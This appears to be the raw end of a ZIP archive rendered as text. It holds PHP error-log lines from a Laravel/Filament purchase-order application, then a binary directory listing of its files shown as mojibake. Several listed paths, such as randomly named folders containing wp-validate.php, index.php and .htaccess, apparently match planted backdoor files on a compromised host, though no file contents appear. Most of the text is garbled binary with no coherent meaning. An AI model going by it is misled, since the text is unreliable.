"Illuminate\Http\Middleware\TrustHosts" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/TrustHosts.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/TrustHosts.php on line 7 [03-Nov-2026 03:28:45 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:45 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustProxies" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/TrustProxies.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/TrustProxies.php on line 8 [03-Nov-2026 03:28:45 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:45 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\VerifyCsrfToken" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/VerifyCsrfToken.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/VerifyCsrfToken.php on line 7 PKÂd]áŽLü‚‚Http/error_lognu„[µü¤[03-Nov-2026 03:28:00 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:00 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Kernel" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Kernel.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Kernel.php on line 7 PKx°b]EÈE^  Policies/RolePolicy.phpnuȯÝíPKx°b]‰än�Ý Ý e Policies/UserPolicy.phpnuȯÝíPKx°b]Apº¥  ‰Policies/DetalleOrdenPolicy.phpnuȯÝíPKx°b]½z5×Ù Ù ÞPolicies/OrdenCompraPolicy.phpnuȯÝíPKx°b]ÓÏŽ§  +Policies/AreaPolicy.phpnuȯÝíPKx°b]Ð%Þóòò-j4Console/Commands/RecalcularTotalesOrdenes.phpnuÕIw¶´PKx°b]ß.Êþ==¹8Console/Kernel.phpnuȯÝíPKx°b]Þ¨•sZZ!8;Exceptions/staticf96d14/.htaccessnu„[µü¤PKx°b]ùy²Æåå!ã;Exceptions/staticf96d14/index.phpnu„[µü¤PKx°b]>£,W?Exceptions/Handler.phpnuȯÝíPKx°b]�;ì’’ÞAFilament/Pages/Dashboard.phpnuȯÝíPKx°b]¸¥%ãã)¼CFilament/Widgets/ordenes-compra/index.phpnu„[µü¤PKx°b]¹†II)øDFilament/Widgets/ordenes-compra/error_lognu„[µü¤PKx°b]·8PM°°'šGFilament/Widgets/QuickActionsWidget.phpnuÕIw¶´PKx°b]âëÆšÂ Â %¡JFilament/Widgets/OrdenCompraTable.phpnuÕIw¶´PKx°b]ëeWXww%¸UFilament/Personal/Pages/Dashboard.phpnuȯÝíPKx°b]Køµ¥ÖÖ0„XFilament/Personal/Widgets/QuickActionsWidget.phpnuȯÝíPKx°b]©HÉÉ2º[Filament/Personal/Widgets/ApprovedOrdersWidget.phpnuÕIw¶´PKx°b]Oûå™ ™ 1å^Filament/Personal/Widgets/PendingOrdersWidget.phpnuÕIw¶´PKx°b]Šæ4@!!=ßiFilament/Personal/Resources/AreaResource/Pages/CreateArea.phpnuȯÝíPKx°b]#ŸC/¢¢<mkFilament/Personal/Resources/AreaResource/Pages/ListAreas.phpnuȯÝíPKx°b]¼f{”ŸŸ;{mFilament/Personal/Resources/AreaResource/Pages/EditArea.phpnuȯÝíPKx°b]4gþ,æ#æ#D…oFilament/Personal/Resources/AreaResource/cachee90b08/wp-validate.phpnu„[µü¤PKx°b]Þ¨•sZZ>ß“Filament/Personal/Resources/AreaResource/cachee90b08/.htaccessnu„[µü¤PKx°b]g²À77?§”Filament/Personal/Resources/AreaResource/cachee90b08/.gitignorenu„[µü¤PKx°b]óà¥G*G*3M—Filament/Personal/Resources/OrdenCompraResource.phpnuȯÝíPKx°b]µ>Yï¾¾J÷ÁFilament/Personal/Resources/OrdenCompraResource/Pages/ListOrdenCompras.phpnuȯÝíPKx°b]�ÄF�==K/ÄFilament/Personal/Resources/OrdenCompraResource/Pages/CreateOrdenCompra.phpnuȯÝíPKx°b]ŒL Ž»»IçÅFilament/Personal/Resources/OrdenCompraResource/Pages/EditOrdenCompra.phpnuȯÝíPKx°b]dÀŠÐÀ À ,ÈFilament/Personal/Resources/AreaResource.phpnuȯÝíPKx°b]‚á¢...87ÒFilament/Resources/AreaResource/Pages/ListActivities.phpnuȯÝíPKx°b]ñLX¨4ÍÓFilament/Resources/AreaResource/Pages/CreateArea.phpnuȯÝíPKx°b]·{��3@ÕFilament/Resources/AreaResource/Pages/ListAreas.phpnuȯÝíPKx°b]Ub1¥��23×Filament/Resources/AreaResource/Pages/EditArea.phpnuȯÝíPKx°b]±íüU..8"ÙFilament/Resources/UserResource/Pages/ListActivities.phpnuȯÝíPKx°b]!øˆ��2¸ÚFilament/Resources/UserResource/Pages/EditUser.phpnuȯÝíPKx°b]¾D±Ü4§ÜFilament/Resources/UserResource/Pages/CreateUser.phpnuȯÝíPKx°b]NÝÇC��3ÞFilament/Resources/UserResource/Pages/ListUsers.phpnuȯÝíPKx°b]m¿#›£›£* àFilament/Resources/OrdenCompraResource.phpnuȯÝíPKx°b]ˆ’ˆÉCC?„Filament/Resources/OrdenCompraResource/Pages/ListActivities.phpnuȯÝíPKx°b]«„š`¬¬A´…Filament/Resources/OrdenCompraResource/Pages/ListOrdenCompras.phpnuȯÝíPKx°b]ØYJw€€BчFilament/Resources/OrdenCompraResource/Pages/CreateOrdenCompra.phpnuȯÝíPKx°b]éñµÎ°°@Ã�Filament/Resources/OrdenCompraResource/Pages/ViewOrdenCompra.phpnuȯÝíPKx°b]Ѭ櫯¯@ã�Filament/Resources/OrdenCompraResource/Pages/EditOrdenCompra.phpnuȯÝíPKx°b]'=¯¹*¹*S˜Filament/Resources/OrdenCompraResource/RelationManagers/DetallesRelationManager.phpnuȯÝíPKx°b]çŒp0!!#>ÃFilament/Resources/RoleResource.phpnuȯÝíPKx°b]ߌÕB¡äFilament/Resources/CentroCostoResource/Pages/CreateCentroCosto.phpnuÕIw¶´PKx°b]À ’è©©@(æFilament/Resources/CentroCostoResource/Pages/EditCentroCosto.phpnuÕIw¶´PKx°b]A�÷©  >AèFilament/Resources/ProveedorResource/Pages/CreateProveedor.phpnuÕIw¶´PKx°b]4gþ,æ#æ#G¼éFilament/Resources/ProveedorResource/Pages/staticcf4187/wp-validate.phpnu„[µü¤PKx°b]Þ¨•sZZAFilament/Resources/ProveedorResource/Pages/staticcf4187/.htaccessnu„[µü¤PKx°b]g²À77BäFilament/Resources/ProveedorResource/Pages/staticcf4187/.gitignorenu„[µü¤PKx°b]4iÈ¥¥>�Filament/Resources/ProveedorResource/Pages/ListProveedores.phpnuÕIw¶´PKx°b]Ï¡b¡¡< Filament/Resources/ProveedorResource/Pages/EditProveedor.phpnuÕIw¶´PKx°b]¹ƒ@t••#­Filament/Resources/UserResource.phpnuȯÝíPKx°b]«•· · *•+Filament/Resources/ResponsableResource.phpnuÕIw¶´PKx°b]ê­–„©©@¦5Filament/Resources/ResponsableResource/Pages/EditResponsable.phpnuÕIw¶´PKx°b]°HB++B¿7Filament/Resources/ResponsableResource/Pages/CreateResponsable.phpnuÕIw¶´PKx°b]¸�^<¬¬A\9Filament/Resources/ResponsableResource/Pages/ListResponsables.phpnuÕIw¶´PKx°b]4gþ,æ#æ#Ay;Filament/Resources/RoleResource/Pages/media5e650c/wp-validate.phpnu„[µü¤PKx°b]Þ¨•sZZ;Ð_Filament/Resources/RoleResource/Pages/media5e650c/.htaccessnu„[µü¤PKx°b]g²À77<•`Filament/Resources/RoleResource/Pages/media5e650c/.gitignorenu„[µü¤PKx°b]'Nô>ŠŠ38cFilament/Resources/RoleResource/Pages/ListRoles.phpnuȯÝíPKx°b]Ò‚·……2%eFilament/Resources/RoleResource/Pages/ViewRole.phpnuȯÝíPKx°b]_Qø552 gFilament/Resources/RoleResource/Pages/EditRole.phpnuȯÝíPKx°b]^ æªÜÜ4£mFilament/Resources/RoleResource/Pages/CreateRole.phpnuȯÝíPKx°b]AÝwð ð (ãsFilament/Resources/ProveedorResource.phpnuÕIw¶´PKx°b]£9}¢  #+‚Filament/Resources/AreaResource.phpnuȯÝíPKx°b]Å"�!!"��Filament/Components/ItemsTable.phpnuȯÝíPKx°b]Þ¨•sZZ’Mail/res9f813c/.htaccessnu„[µü¤PKx°b]ù+.ß��¤’Mail/res9f813c/index.phpnu„[µü¤PKx°b]I•@Jããm•Mail/res9f813c/config/index.phpnu„[µü¤PKx°b]Ýô,TTŸ–Mail/OrdenCompraMail.phpnuȯÝíPKx°b]‚ Gš¢)¢);œModels/OrdenCompra.phpnuȯÝíPKx°b]²A]���#ÆModels/Area.phpnuȯÝíPKx°b]¢¹ESïÊModels/Responsable.phpnuÕIw¶´PKx°b]]B‡‡5ÏModels/OrdenCompraPago.phpnuȯÝíPKx°b]Ä¿¦))ÒModels/CentroCosto.phpnuÕIw¶´PKx°b]ëïàß»»uÓModels/DetalleOrden.phpnuȯÝíPKx°b]õÜkĽ½w×Models/Role.phpnuȯÝíPKx°b]M•Ÿôô sØModels/OrdenCompraAprobacion.phpnuÕIw¶´PKx°b]…[_ÓÓ·ÚModels/Proveedor.phpnuÕIw¶´PKx°b]möE«\\ÎÜModels/User.phpnuȯÝíPKx°b]“­……!iäProviders/AuthServiceProvider.phpnuȯÝíPKx°b]8tïntt"?çProviders/EventServiceProvider.phpnuȯÝíPKx°b] ì0ó} } )ëProviders/Filament/AdminPanelProvider.phpnuȯÝíPKx°b]œILµ µ ,Û÷Providers/Filament/PersonalPanelProvider.phpnuȯÝíPKx°b]RPQ8gg&ìProviders/BroadcastServiceProvider.phpnuȯÝíPKx°b]U’‹—gg ©Providers/AppServiceProvider.phpnuȯÝíPKx°b]ÀUMºMM"`Providers/RouteServiceProvider.phpnuȯÝíPKx°b]³r‡jj!ÿ Observers/OrdenCompraObserver.phpnuȯÝíPKx°b]ªS>"··"º Observers/DetalleOrdenObserver.phpnuÕIw¶´PKx°b]«]q“550ÃHttp/Controllers/OrdenCompraReviewController.phpnuȯÝíPKx°b] ¡í3++X!Http/Controllers/Controller.phpnuȯÝíPKx°b]Þ¨•sZZ$Ò"Http/Controllers/pube58aef/.htaccessnu„[µü¤PKx°b]掳JÝÝ$€#Http/Controllers/pube58aef/index.phpnu„[µü¤PKx°b]Ò¨ð/±;Http/Controllers/OrdenCompraPrintController.phpnuȯÝíPKx°b]j•¥‰‰ ¯@Http/Middleware/TrustProxies.phpnuȯÝíPKx°b]G½fŸÌÌ%ˆCHttp/Middleware/ValidateSignature.phpnuȯÝíPKx°b]í~¯Û}}©EHttp/Middleware/TrimStrings.phpnuȯÝíPKx°b]¹J)™™ uGHttp/Middleware/Authenticate.phpnuȯÝíPKx°b]Q#°{{^IHttp/Middleware/TrustHosts.phpnuȯÝíPKx°b]Íj `øø+'KHttp/Middleware/RedirectIfAuthenticated.phpnuȯÝíPKx°b]"që33"zNHttp/Middleware/EncryptCookies.phpnuȯÝíPKx°b]/Ü�ÇSS#ÿOHttp/Middleware/VerifyCsrfToken.phpnuȯÝíPKx°b]Ã{©{nn4¥QHttp/Middleware/PreventRequestsDuringMaintenance.phpnuȯÝíPKx°b]“WuÚ Ú wSHttp/Kernel.phpnuȯÝíPKÂd]×úÏ\áá�^Policies/error_lognu„[µü¤PKÂd]ýÑw‹‹³dConsole/error_lognu„[µü¤PKÂd]åÅ�†——fExceptions/error_lognu„[µü¤PKÂd]S'ä•““ZhFilament/Pages/error_lognu„[µü¤PKÂd]IÕQŽ¥¥!5jFilament/Personal/Pages/error_lognu„[µü¤PKÂd]gÔγºº#+lFilament/Personal/Widgets/error_lognu„[µü¤PKÂd]²P_Ý~~%8nFilament/Personal/Resources/error_lognu„[µü¤PKÂd]«ÛóúII/ rFilament/Resources/AreaResource/Pages/error_lognu„[µü¤PKÂd]sÉÄRII/³yFilament/Resources/UserResource/Pages/error_lognu„[µü¤PKÂd]Ï-G• • 6[�Filament/Resources/OrdenCompraResource/Pages/error_lognu„[µü¤PKÂd]³Ïy(AV‹Filament/Resources/OrdenCompraResource/RelationManagers/error_lognu„[µü¤PKÂd]4¯â¦¦å�Filament/Resources/error_lognu„[µü¤PKÂd]oÛ,Ê55/×”Filament/Resources/RoleResource/Pages/error_lognu„[µü¤PKÂd]~Ã"ªªkœFilament/Components/error_lognu„[µü¤PKÂd]Žb g��bžMail/error_lognu„[µü¤PKÂd]£€‡D D - Models/error_lognu„[µü¤PKÂd] ŠI°``±©Providers/Filament/error_lognu„[µü¤PKÂd]¥ò´Ù¢¢]­Providers/error_lognu„[µü¤PKÂd]œœýÎuuB¶Observers/error_lognu„[µü¤PKÂd]¯Á¬<$$ú¶Http/Controllers/error_lognu„[µü¤PKÂd]x.e6<<h¼Http/Middleware/error_lognu„[µü¤PKÂd]áŽLü‚‚íÊHttp/error_lognu„[µü¤PK��45­Ì